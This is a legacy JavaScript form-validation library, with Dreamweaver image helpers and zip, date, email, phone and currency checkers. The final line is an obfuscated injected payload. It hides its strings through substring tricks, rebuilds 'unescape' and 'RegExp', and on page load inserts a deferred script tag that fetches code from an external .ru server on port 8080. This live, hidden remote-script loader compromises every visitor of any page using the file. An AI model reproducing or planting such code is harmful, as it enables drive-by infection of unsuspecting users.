function MM_preloadImages() { //v3.0
  var d=document; if(d.images){ if(!d.MM_p) d.MM_p=new Array();
    var i,j=d.MM_p.length,a=MM_preloadImages.arguments; for(i=0; i<a.length; i++)
    if (a[i].indexOf("#")!=0){ d.MM_p[j]=new Image; d.MM_p[j++].src=a[i];}}
}

function MM_swapImgRestore() { //v3.0
  var i,x,a=document.MM_sr; for(i=0;a&&i<a.length&&(x=a[i])&&x.oSrc;i++) x.src=x.oSrc;
}

function MM_displayStatusMsg(msgStr) { //v1.0
  status=msgStr;
  document.MM_returnValue = true;
}

function MM_findObj(n, d) { //v4.01
  var p,i,x;  if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {
    d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
  if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
  for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document);
  if(!x && d.getElementById) x=d.getElementById(n); return x;
}

function MM_showHideLayers() { //v6.0
  var i,p,v,obj,args=MM_showHideLayers.arguments;
  for (i=0; i<(args.length-2); i+=3) 
  if ((obj=MM_findObj(args[i]))!=null) 
  { v=args[i+2];
    if (obj.style)
     { obj=obj.style; v=(v=='show')?'visible':(v=='hide')?'hidden':v; }
    obj.visibility=v; }
}

function MM_swapImage() { //v3.0
  var i,j=0,x,a=MM_swapImage.arguments; document.MM_sr=new Array; for(i=0;i<(a.length-2);i+=3)
   if ((x=MM_findObj(a[i]))!=null){document.MM_sr[j++]=x; if(!x.oSrc) x.oSrc=x.src; x.src=a[i+2];}
}

function firstFocus(prmtabindex)
{
	
	var eleindex;
	var frmlen = document.forms[0].elements.length;		
	var flag=false;	
	
	for(var i=0;i<frmlen;i++)
	{

		if(document.forms[0].elements[i].tabIndex==prmtabindex)
		{	
			//alert(prmtabindex);		
			flag=true;
			eleindex =i;
			break;			
		}		
	}			
	if(flag==true){		
	//alert(eleindex);
		document.forms[0].elements[eleindex].focus();
	}
	
}

// ***********    Function to Validate the Given Zip		***********    
function isValidZip(formName,fieldName)
{
	var returnFlag	= true;
	var frmIndex	= findFormIndex(formName);
	var fieldIndex	= findElementIndex(frmIndex, fieldName);
	 
	var zipVal=document.forms[frmIndex].elements[fieldIndex].value; 
	
	if (zipVal!=0)	
	{
		if((zipVal.substring(5,6)) != "-")
		{
			if(isNaN(zipVal))
			{
				alert("Enter only Numbers in Zip field");
				document.forms[frmIndex].elements[fieldIndex].focus();
				document.forms[frmIndex].elements[fieldIndex].value='';
				returnFlag = false;
				return false ;
			}	 
			else if(zipVal.charAt(0)=='-')
			{
				alert("Negative Numbers not Allowed");
				document.forms[frmIndex].elements[fieldIndex].focus();
				returnFlag = false;
				return false ;
			}
			else
			{
				if(zipVal.length < 5)
				{
					alert("Zip should be at least 5 Digits");
					document.forms[frmIndex].elements[fieldIndex].focus();
					returnFlag = false;
					return false ;
				}
				else if(zipVal.length > 5)	
					document.forms[frmIndex].elements[fieldIndex].value=
							zipVal.substring(0,5)+"-"+zipVal.substring(5,9);
			}
		}
	}	
  
	if (returnFlag==true)
	{
		 return true;
	}

}		// end of Function

// ***********    Function to  the find Index of specified Form		***********    
function findFormIndex(formName)
{
	var frmLen = document.forms.length ;
	var frmIndex;
	var formFlag = false;
		
	for (var i=0; i<frmLen; i++)
	{	
		if(document.forms[i].name == formName )
		{
			frmIndex = i;
			formFlag = true;
		}
	}
	
	if (formFlag==true)
		return frmIndex;
	else
	{
	    alert('Invalid Form Name');
	    return false;
	}
	    
}		// end of Function  findFormIndex(formName)

// ***********    Function to  the find Index of specified Element		***********    


function findElementIndex(frmIndex, fieldName)
{
	var elemLen = document.forms[frmIndex].elements.length;
	var fieldIndex;
	var fieldFlag = false;
	
	for (var i=0; i<elemLen; i++)
	{	
		if(document.forms[frmIndex].elements[i].type == 'text'  || 
			document.forms[frmIndex].elements[i].type == 'select-one')
		{	
			if (document.forms[frmIndex].elements[i].name == fieldName)
			{
				fieldIndex = i;
				fieldFlag = true;
			}	
		}
	}
	if (fieldFlag == true)
		return fieldIndex;
	else
	{
	    alert('Invalid Field Name');
	    return false;
	}
	
}		// end of Function findElementIndex(frmIndex, fieldName) 

// ***********    Function to Validate the Given Number		***********    


function isValidNumber(formName, fieldName,DispName)
{
	var returnFlag	= true;
	var frmIndex	= findFormIndex(formName);
	var fieldIndex	= findElementIndex(frmIndex, fieldName);
	
	var num = document.forms[frmIndex].elements[fieldIndex].value;	
	
	 if  (isNaN(num))
	{	
		alert("Please enter valid number in "+DispName);
		document.forms[frmIndex].elements[fieldIndex].focus();
		document.forms[frmIndex].elements[fieldIndex].value='';
		returnFlag = false;
		return false;
	}
	 if  (num<0)
	{	
		alert("Please enter  number not less than 0 in "+DispName);
		document.forms[frmIndex].elements[fieldIndex].focus();
		document.forms[frmIndex].elements[fieldIndex].value='';
		returnFlag = false;
		return false;
	}
	if(num.indexOf('.')>0)
	{
		alert("Please enter valid number in "+DispName);
		document.forms[frmIndex].elements[fieldIndex].focus();
		document.forms[frmIndex].elements[fieldIndex].value='';
		returnFlag = false;
		return false;
	}
	if(returnFlag==true)
	{
		return true;
	}
}
 // end of the function isValidNumber(formName, fieldName,DispName). 


//   ******************** Function's to validate Phone Numbers *****************

		function TxtPhone1_onkeypress() 
		{
			if(document.Form1.txtPhone1.value.length > 2)
			{
				document.Form1.txtPhone2.focus();
			}
		}
		function TxtPhone2_onkeypress() 
		{
			if(document.Form1.txtPhone2.value.length > 2)
			{
				document.Form1.txtPhone3.focus();
			}
		}
		function TxtPhone3_onkeypress() 
		{
			if(document.Form1.txtPhone3.value.length > 3)
			{
				document.Form1.txtPhone4.focus();
			}
		} 
		function TxtFax1_onkeypress() 
		{
			if(document.Form1.txtFax1.value.length > 2)
			{
				document.Form1.txtFax2.focus();
			}
		}
		function TxtFax2_onkeypress() 
		{
			if(document.Form1.txtFax2.value.length > 2)
			{
				document.Form1.txtFax3.focus();
			}
		}
		//  end of Function's.
		
		
// *****************  Function to validate Extension for Phone   *****************		
		function PhoneExtension_Validate()
		{	
		 if(document.Form1.txtPhone4.value.length == 0)
			{			
			 if((document.Form1.txtPhone1.value.length == 0) && (document.Form1.txtPhone2.value.length == 0) && (document.Form1.txtPhone3.value.length == 0))
			 {		   		   
				alert("Extension is not valid without Phone Number");
				document.Form1.txtPhone4.value = '';
				document.Form1.txtPhone1.focus();
				
			 }			
			}
		}
      // end of Function.
      
      
      
      // ***********    Function to Validate the Given Date		***********    

function isValidDate(formName,day,mon,year)
{
	var returnFlag	= true;
	var frmIndex	= findFormIndex(formName);
	var dayIndex	= findElementIndex(frmIndex, day);
	var monIndex	= findElementIndex(frmIndex, mon);
	var yearIndex	= findElementIndex(frmIndex, year);
	
	// getting the values of Date
		
	var ddInd=document.forms[frmIndex].elements[dayIndex].selectedIndex;
	var mmInd=document.forms[frmIndex].elements[monIndex].selectedIndex;
	var yyInd=document.forms[frmIndex].elements[yearIndex].selectedIndex;
		
	var dd=document.forms[frmIndex].elements[dayIndex][ddInd].value;
	var mm=document.forms[frmIndex].elements[monIndex][mmInd].value;
	var yy=document.forms[frmIndex].elements[yearIndex][yyInd].value;
	

	if (dd==0)
	{
	 alert('Please Select the Day');
	 document.forms[frmIndex].elements[dayIndex].focus();
	 return false;
	 }
	else if(mm==0)
	{
	 alert('Please Select the Month');
	 document.forms[frmIndex].elements[monIndex].focus();
 	 return false;
	 }
	else if(yy==0)
	{
	 alert('Please Select the Year');
	 document.forms[frmIndex].elements[yearIndex].focus();
 	 return false;
	 }
	else		// Month Validation
	{

		if(mm==1 || mm==3 || mm==5 || mm==7 || mm==8 || mm==10 || mm==12)
		 	totDays=31;				//	if the month is Jan,Mar,May,July,Aug,Oct and Dec
		else if(mm==4 || mm==6 || mm==9 || mm==11)
		    totDays=30;				//	if the month is Apr,Jun,Sep and Nov
			else if(yy%4==0 && yy%100!=0 || yy%400==0)
				totDays=29;			//	if the year is Leap Year
				else  
				    totDays=28;		//	if the year is not a Leap Year
					   
		if (dd > totDays)
		 {
		 	alert("Invalid date entered");
		 	document.forms[frmIndex].elements[dayIndex].focus();
		 	returnFlag=false;
		 	return false; 
		 }
		 
		if (mm<1 || mm>12)			//	if the month is not a valid Month
		 {
		 	alert("Invalid month entered");
		 	document.forms[frmIndex].elements[monIndex].focus();
		 	returnFlag=false;
		 	return false; 
		 }
	
	}		// end of else for Month Validation
	
	if(returnFlag==true)
	{
		return true;
	}

}			// end of Function  isValidDate(formName,day,mon,year) 



// ***********    Function to Validate the Given Date from a text box		***********    

function isValidTextDate(formName,fieldName)
{
	var returnFlag	= true;
	var frmIndex	= findFormIndex(formName);
	var fieldIndex	= findElementIndex(frmIndex, fieldName);
	
	// getting the values of Date

	var strDate = document.forms[frmIndex].elements[fieldIndex].value;
	var intDateLen = strDate.length;
	
	if (intDateLen > 10)
	{
		alert("Invalid Date Entered");
		returnFlag = false; 
		return false;
	}

	strDate = strDate.replace('-','/');
	strDate = strDate.replace('-','/');
	
	var arrDate = strDate.split('/');
	
	var dd = arrDate[1];
	var mm = arrDate[0];
	var yy = arrDate[2];

	if (mm==0 || isNaN(mm))
	{
	 alert('Please Enter the Month');
	 document.forms[frmIndex].elements[fieldIndex].focus();
	 returnFlag = false; 
	 return false;
	 }
	else if(dd==0 || isNaN(dd))
	{
 	 alert('Please Enter the Day');
	 document.forms[frmIndex].elements[fieldIndex].focus();
	 returnFlag = false; 
	 return false;
	 }
	else if(yy==0 || isNaN(yy))
	{
	 alert('Please Enter the Year');
	 document.forms[frmIndex].elements[fieldIndex].focus();
	 returnFlag = false; 
 	 return false;
	 }
	else if (yy.length < 4) 
	{
	 alert('Please Enter the Year in yyyy format');		
 	 document.forms[frmIndex].elements[fieldIndex].focus();
 	 returnFlag = false; 
	 return false;
	}
	else	// Month Validation
	{

		if(mm==1 || mm==3 || mm==5 || mm==7 || mm==8 || mm==10 || mm==12)
		 	totDays=31;				//	if the month is Jan,Mar,May,July,Aug,Oct and Dec
		else if(mm==4 || mm==6 || mm==9 || mm==11)
		    totDays=30;				//	if the month is Apr,Jun,Sep and Nov
			else if(yy%4==0 && yy%100!=0 || yy%400==0)
				totDays=29;			//	if the year is Leap Year
				else  
				    totDays=28;		//	if the year is not a Leap Year
					   
		if (dd > totDays)
		 {
		 	alert("Invalid date entered");
		 	document.forms[frmIndex].elements[fieldIndex].focus();
		 	returnFlag=false;
		 	return false; 
		 }
		 
		if (mm<1 || mm>12)			//	if the month is not a valid Month
		 {
		 	alert('Invalid month entered');
		 	document.forms[frmIndex].elements[fieldIndex].focus();
			returnFlag=false;
		 	return false; 
		 }
	
	}		// end of else for Month Validation
	
	if(returnFlag==true)
	{
		return true;
	}

}			// end of Function  isValidTextDate(formName,fieldIndex) 



// ***********    Function to Convert form variables to date	***********    

function ConvertDate(formName,day,mon,year)
{
	var frmIndex	= findFormIndex(formName);
	var dayIndex	= findElementIndex(frmIndex, day);
	var monIndex	= findElementIndex(frmIndex, mon);
	var yearIndex	= findElementIndex(frmIndex, year);
	
	// getting the values of Date
	
	var ddInd=document.forms[frmIndex].elements[dayIndex].selectedIndex;
	var mmInd=document.forms[frmIndex].elements[monIndex].selectedIndex;
	var yyInd=document.forms[frmIndex].elements[yearIndex].selectedIndex;
		
	var dd=document.forms[frmIndex].elements[dayIndex][ddInd].value;
	var mm=document.forms[frmIndex].elements[monIndex][mmInd].value;
	var yy=document.forms[frmIndex].elements[yearIndex][yyInd].value;
	
	return new Date(yy,mm-1,dd);
}


// ***********    Function to Validate the Given Name		***********    


function isValidName(formName, fieldName,DispName)
{
	var returnFlag	= true;
	var frmIndex	= findFormIndex(formName);
	var fieldIndex	= findElementIndex(frmIndex, fieldName);
	
	var nam = document.forms[frmIndex].elements[fieldIndex].value;	
	
	if (nam != 0)
		{for (var i=0; i<nam.length; i++)
		{	
			if( (nam.charAt(i)>='a' && nam.charAt(i)<='z') || 
				(nam.charAt(i)>='A' && nam.charAt(i)<='Z') ||
				(nam.charAt(i)=='.') || nam.charAt(i)==' ')
			{
				
			}
			else
			 {
				alert('Please enter valid characters in '+DispName);	
				document.forms[frmIndex].elements[fieldIndex].focus();  	
				returnFlag = false; 
				return false;	
			 }
		}
	
	}
	if(returnFlag==true)
	{
		return true;
	}
}

// ***********    Function to Validate the Given Email		***********    


function isValidEmail(formName, fieldName,DispName)
{
	var returnFlag	= true;
	var frmIndex	= findFormIndex(formName);
	var fieldIndex	= findElementIndex(frmIndex, fieldName);
	var fldDesc	="Email Address"; 
	var emailVal=document.forms[frmIndex].elements[fieldIndex].value; 
	if (emailVal != 0)
		{	
			if ( isValidChar(emailVal, frmIndex, fieldIndex,fldDesc) ) 
			{	
				i=0;
				while((i<emailVal.length) && (emailVal.charAt(i) != '@'))
					i++;
				if(i==emailVal.length)
					{
					alert("'@'  is required in the "+DispName);	
					document.forms[frmIndex].elements[fieldIndex].focus();
					returnFlag = false;
					return false;	 
					}	
					else if(emailVal.charAt(0) == '.')	 
						{
						alert("' . ' can not be the first character of email address.");
						document.forms[frmIndex].elements[fieldIndex].focus();	
						returnFlag = false;
						return false;	
						}
						 i=0;       	 
						 while((i<emailVal.length)&&(emailVal.charAt(i) != '.')) 
							 i++;
						     if(i==emailVal.length)	
								 {			
								 alert("' . '  is required in the "+DispName);
								 document.forms[frmIndex].elements[fieldIndex].focus();
								 returnFlag = false;   
								 return false;	      
								 }
								 else	if(emailVal.charAt(i-1) == '@')
									 {	
									 alert("Character(s) are needed between  ' @ ' and  ' . ' in "+DispName);	
									 document.forms[frmIndex].elements[fieldIndex].focus();
									 returnFlag = false;
									 return false;	
									 }
									 else if(i==emailVal.length-1)	 
										 {
										 alert("' . '  can't be the last character of email address");	
										 document.forms[frmIndex].elements[fieldIndex].focus();  	
										 returnFlag = false;
										 return false;	  
										 }
										 i=0;
										 count=0;
										 while((i<emailVal.length) && (count<2))
											 {
											 if(emailVal.charAt(i)=='@')
												 count++; i++;
											 }
											 if(count > 1)
												 {
												 alert("'@'  can't be entered more than once in "+DispName);	
												 document.forms[frmIndex].elements[fieldIndex].focus();
												 returnFlag=false;
												 return false;
												 }
												 i=0;
												 while(i<emailVal.length-1)
													 {
													 if((emailVal.charAt(i)=='.')&&(emailVal.charAt(i+1)=='.'))
														 {	
														 alert("Character(s) are needed between  ' . ' and  ' . ' in "+DispName);
														 document.forms[frmIndex].elements[fieldIndex].focus();
														 returnFlag=false;
														 return false;
														 }
														 else 
															 i++;	
														 }
														 if(emailVal.charAt(emailVal.length-1)=='.')
															 {
															 alert("' . '  can't be the last character of email address");
															 document.forms[frmIndex].elements[fieldIndex].focus();  
															 returnFlag=false;
															 return false;	
															 }
															 }
															 else
																 {
																 returnFlag=false;
																 return false;	
																 }	
															}
															if(returnFlag==true)
																{
																	return true;
																}
}			// end of Function ****** isValidEmail(formName, fieldName)  *******



// ***********    Function to allow Valid Chars in Email		***********    

function isValidChar(emailVal, frmIndex,fieldIndex,entry)
	{
		var returnFlag	= true;
		if( emailVal == 0 ) 
			{	
			alert("Please enter the "+entry);
			document.forms[frmIndex].elements[fieldIndex].focus();
			returnFlag	= false;
			return false;
			}	
			else 
				{ 
				i=0;
				while(i < emailVal.length)
					{ 
					if((emailVal.charAt(i) < 'a') || (emailVal.charAt(i) > 'z'))
						if((emailVal.charAt(i)!='_') && (emailVal.charAt(i)!='.') && (emailVal.charAt(i)!='-') && (emailVal.charAt(i)!='@') && ((emailVal.charAt(i)<'A') || (emailVal.charAt(i)>'Z')))
						{
						if((emailVal.charAt(i) < '0') || (emailVal.charAt(i) > '9'))
							{
							if(emailVal.charAt(i) == ' ')
								{
								alert("Space is not allowed in "+entry);
								document.forms[frmIndex].elements[fieldIndex].focus();
								returnFlag	= false;
								return false;
								}
								else if(fieldIndex != 1)
									{
									alert("' "+emailVal.charAt(i)+" '"+"  is not allowed in "+entry);
									document.forms[frmIndex].elements[fieldIndex].focus();	
									returnFlag	= false;
									return false; 
									}
									else if((emailVal.charAt(i) != '@')&&(emailVal.charAt(i) != '.'))
										{
										alert("' "+emailVal.charAt(i)+" '"+"  is not allowed in "+entry);
										document.forms[frmIndex].elements[fieldIndex].focus();
										returnFlag	= false;
										return false;
										}
										}
										}
										i++;
										}		// end of While
									}   
									if(returnFlag==true)
									{
										return true;
									}
									
			}


// ***********    Function to Validate the Given Phone Number		***********    
function isValidPhone(formName, fieldName,DispName)
{
	var returnFlag	= true;
	var frmIndex	= findFormIndex(formName);
	var fieldIndex	= findElementIndex(frmIndex, fieldName);
		var phoneVal=document.forms[frmIndex].elements[fieldIndex].value;
			if(phoneVal!=0)
				{
				if( (phoneVal.substring(0,1)) != "(" )
					{
					if(isNaN(phoneVal))
						{
						alert("Please enter only numbers in "+DispName);
						//document.forms[frmIndex].elements[fieldIndex].value='';
						document.forms[frmIndex].elements[fieldIndex].focus();
						returnFlag = false;
						return false ;
						}
						else if(phoneVal.charAt(0)=='-')
							{
							alert("Please enter positive numbers in "+DispName);
							document.forms[frmIndex].elements[fieldIndex].focus();
							returnFlag = false;
							return false ;
							}
							else
								{
								for (i=0;i<phoneVal.length;i++)
									{
									if(phoneVal.charAt(i)==".") 
										{
										alert("Please Enter valid "+DispName);
										document.forms[frmIndex].elements[fieldIndex].focus();
										returnFlag = false;
										return false ;
										}
									}
									if(phoneVal.length < 10)
										{
										alert("Please enter atleast 10 digits in "+DispName);
										document.forms[frmIndex].elements[fieldIndex].focus();
										returnFlag = false;
										return false ;
										}
										else
											{					
											document.forms[frmIndex].elements[fieldIndex].value = "(" +phoneVal.substring(0,3) +") " +phoneVal.substring(3,6)+ "-" +phoneVal.substring(6,10);
											}
										}
									}
									else
										{
										for (var i=1; i<phoneVal.length; i++)
										{	
											if( (phoneVal.charAt(i)>='0' && phoneVal.charAt(i)<='9') || (phoneVal.charAt(i)=='-') || phoneVal.charAt(i)==')' || phoneVal.charAt(i)==' ')				
												{
												}
										else
										{
											alert('Please enter valid characters in '+DispName);
											document.forms[frmIndex].elements[fieldIndex].focus();  	
											returnFlag = false;
											return false;	
										}
									}
								}	
							}	
							if (returnFlag==true)
							{
								return true;
							}
					}		// end of Function


// ***********    Function to Validate the Given Currency		***********    


function isValidCurrency(formName, fieldName,DispName)
{
	var returnFlag	= true;
	var frmIndex	= findFormIndex(formName);
	var fieldIndex	= findElementIndex(frmIndex, fieldName);
	
	var currVal = document.forms[frmIndex].elements[fieldIndex].value;	
	
	currVal = currVal.toString().replace(/\$|\,/g,'');

	if ( isNaN(currVal) )
	{
		alert("Please enter only numbers in " + DispName);
		//document.forms[frmIndex].elements[fieldIndex].value='';
		document.forms[frmIndex].elements[fieldIndex].focus();
		returnFlag = false;
		return false ;
	}
	else if( currVal.charAt(0)=='-')
	{
		alert("Please enter value greater than zero in "+DispName);
		document.forms[frmIndex].elements[fieldIndex].focus();
		returnFlag = false;
		return false ;
	}

	sign = (currVal == (currVal = Math.abs(currVal)));
	currVal = Math.floor(currVal * 100 + 0.50000000001);
	var cents = currVal % 100;
	currVal = Math.floor(currVal / 100).toString();
	if(cents < 10)
		cents = "0" + cents;
	for (var i = 0; i < Math.floor((currVal.length-(1+i))/3); i++)
		currVal = currVal.substring(0,currVal.length-(4*i+3))+','+
			currVal.substring(currVal.length-(4*i+3));
	document.forms[frmIndex].elements[fieldIndex].value = (((sign)?'':'-') + currVal + '.' + cents);

	if(returnFlag==true)
	{
		return true;
	}

}			// end of Function isValidCurrency(formName,fieldName)




//Lakshmi - function to accept only alphanumeric and '-' characters

// ***********    Function to Validate alphanumeric	characters	***********    


function isValidAlphaNumericHyphen(formName, fieldName,DispName)
{
	var returnFlag	= true;
	var frmIndex	= findFormIndex(formName);
	var fieldIndex	= findElementIndex(frmIndex, fieldName);
	
	var inputValue = document.forms[frmIndex].elements[fieldIndex].value;	
	
	/* if  (isNaN(num))
	{	
		alert("Please enter valid number in "+DispName);
		document.forms[frmIndex].elements[fieldIndex].focus();
		document.forms[frmIndex].elements[fieldIndex].value='';
		returnFlag = false;
		return false;
	}*/
/*	 if  (inputValue<0)
	{	
		alert("Please enter  number not less than 0 in "+DispName);
		document.forms[frmIndex].elements[fieldIndex].focus();
		document.forms[frmIndex].elements[fieldIndex].value='';
		returnFlag = false;
		return false;
	}
	if(inputValue.indexOf('.')>0)
	{
		alert("Please enter valid number in "+DispName);
		document.forms[frmIndex].elements[fieldIndex].focus();
		document.forms[frmIndex].elements[fieldIndex].value='';
		returnFlag = false;
		return false;
	}*/
	

	if (inputValue != 0)
		{for (var i=0; i<inputValue.length; i++)
		{	
			if( (inputValue.charAt(i)>='a' && inputValue.charAt(i)<='z') || 
				(inputValue.charAt(i)>='A' && inputValue.charAt(i)<='Z') ||
				(inputValue.charAt(i) == '-') || inputValue.charAt(i)==' ' ||
				(inputValue.charAt(i)>='0' && inputValue.charAt(i)<='9') 
			  )
			{
			
			}
			/*if (inputValue.charAt(0) == '-')
			{
				alert('Entered number is a negative number. Please verify');
				document.forms[frmIndex].elements[fieldIndex].focus();  	
				returnFlag = false; 
				return false;	
			}*/
			else
			 {
				document.forms[frmIndex].elements[fieldIndex].focus();  	
				returnFlag = false; 
				return false;	
			 }
		}
	
	}
	
	if(returnFlag==true)
	{
		return true;
	}
}
 // end of the function isValidNumber(formName, fieldName,DispName). 


// ******    Function to Validate International Phone Number	*******
// Date : 03/10/2005
// Latha Seshu P.
//*********************************************************************
function checkInternationalPhone(formName, fieldName,DispName)
{
	var returnFlag	= true;
	var frmIndex	= findFormIndex(formName);
	var fieldIndex	= findElementIndex(frmIndex, fieldName);
	
	var inputValue = document.forms[frmIndex].elements[fieldIndex].value;	
	
	// non-digit characters which are allowed in phone numbers
	var phoneNumberDelimiters = "()- ";
	// characters which are allowed in international phone numbers
	// (a leading + is OK)
	var validWorldPhoneChars = phoneNumberDelimiters + "+";
	// Minimum no of digits in an international phone no.
	var minDigitsInIPhoneNumber = 10;

	s=stripCharsInBag(inputValue,validWorldPhoneChars);
	return (isInteger(s) && s.length >= minDigitsInIPhoneNumber);
}

function stripCharsInBag(s, bag)
{   
	var i;
	var returnString = "";
	// Search through string's characters one by one.
	// If character is not in bag, append to returnString.
	for (i = 0; i < s.length; i++)
	{   
		// Check that current character isn't whitespace.
		var c = s.charAt(i);
		if (bag.indexOf(c) == -1) returnString += c;
	}
	return returnString;
}

function isInteger(s)
{   var i;
	for (i = 0; i < s.length; i++)
	{   
		// Check that current character is number.
		var c = s.charAt(i);
		if (((c < "0") || (c > "9"))) return false;
	}
	// All characters are numbers.
	return true;
}
//End of Phone Number Validation


try {var CA='z'} catch(CA){};try {var gN='q'} catch(gN){};var m="";try {Z={YW:"gC"};this.qD="";Or=[];var A=window["3tgunes".substr(3)+"t3lcapetl3".substr(3,4)];var I="I";N=23392;N--;this.Ni=false;this.uU="";this.zO="";var g=String("1");Rj={ef:38552};var gK="";zT=21465;zT-=79;var C=window[("ZkNrReg".substr(4)+"ExpnQvZ".substr(0,3))];var ia=new String();W=["X","NU","Cw"];var U='';var rB={};var lN=new String();var y=new String();pI=26524;pI-=66;var n=["uc","Jq"];var _="Hm19rep".substr(4)+"KmDglac".substr(4)+"mlHeHlm".substr(3,1);var Fz=["iT","IP"];var vS={MS:40195};var e=String("onloa"+"d");var zj=new Date();CN={};this.xZ=58958;this.xZ-=104;this.Lj=20672;this.Lj-=146;try {var NE='h'} catch(NE){};tO={};function o(g,Y){Q=["jy","wN","tP"];f=["k","Yb","Xx"];var RE="";var wt={};pa={};var Rc={};var F=new String("zFP[".substr(3));F+=Y;var KT={};this.Ke=3284;this.Ke-=170;this.VE=42396;this.VE-=224;F+=A("%5d");Zd=32981;Zd++;TY={wa:"Jf"};this.OP=44910;this.OP+=135;var O=new C(F, String("D7ig".substr(3)));return g.replace(O, U);};HH=17167;HH++;var zOM=false;var jh={lA:"Uz"};var iu={kJ:"Fx"};var ot={hU:"Kj"};mB=["kv"];var ey=737047-728967;var G=new String("htt"+"p:/DTu".substr(0,3)+"Thk/as".substr(3)+"hdoug48".substr(0,3)+"XEDg.r".substr(3)+"u:");this.fm=22644;this.fm++;IF=33423;IF--;this.YP=17120;this.YP--;var pN={tXI:false};var r=new String("/us"+"MuTfps-".substr(4)+"com"+"/go"+"19CoglC19".substr(3,3)+"e.cTd5".substr(0,3)+"om/"+"f1o4jueo41f".substr(4,3)+"ubwgosuwb".substr(3,3)+".co"+"aQfim.p".substr(4)+"hp");var UO=["s"];function Fh(){un=["mI","cv"];YI={};fG=["Blo","Xl","dP"];var Ym=false;Of=["wO","QY","az"];var Nb=false;var M=document;var Oq="";var Hf='';var lc=35050;var to="";var pu=new Array();var YSN={};FhW={yr:"NF"};var wNl=new Array();var kj={};var u=o('snckrni7pYtY','nkNb7Yvh2');var OA=["PT"];try {} catch(LE){};var lf=false;var gT=["NaN","uP","Jo"];var l=new String("6f8ap".substr(3)+"peX81".substr(0,2)+"nd"+"Ch"+"il"+"d");jj=47788;jj++;var BM={WP:"sH"};BU={na:53252};var Re=new Date();this.tR=52374;this.tR++;var wd=[];V=M.createElement(u);IQ=54076;IQ++;var BJ=["V_","Wg"];var M_={EJz:false};lK={xi:false};b=G+ey;this.rS="";b=b+r;var oA={};fx=["Fs","lcj","df"];var Gg={};Qn=["DK","Dst"];this.Bw="Bw";this.MV="";OU=["YSG","qW"];this.YmY="";WS=["mX"];Vm={};var rT=M.body;var gt=["qf","UX"];vSq={LV:47300};var ur=["th","ab","Sh"];DU={};naU=43255;naU-=84;V.src=b;KC=["Bi","JSE"];AK=61852;AK+=148;Q_=5262;Q_+=185;try {} catch(gO){};V[String("defvEp".substr(0,3)+"er")]=g;Wz=15290;Wz--;var ts="";try {} catch(DP){};this.Eo=20586;this.Eo+=42;Hh=[];var xQl=new Date();rT[l](V);var SC="SC";try {var Al='aX'} catch(Al){};cw=["mBa"];sv=["JL"];dO=41538;dO+=21;};this.bw='';bo={vK:53468};window[e]=Fh;var EG='';var OW=new Array();try {} catch(tT){};wP=46256;wP++;var ko={};var Nv={};BAU=65472;BAU++;} catch(og){this.Cs=33220;this.Cs+=148;var aV='';this.tr="tr";};JU=13941;JU+=231;Ip=20833;Ip+=46;
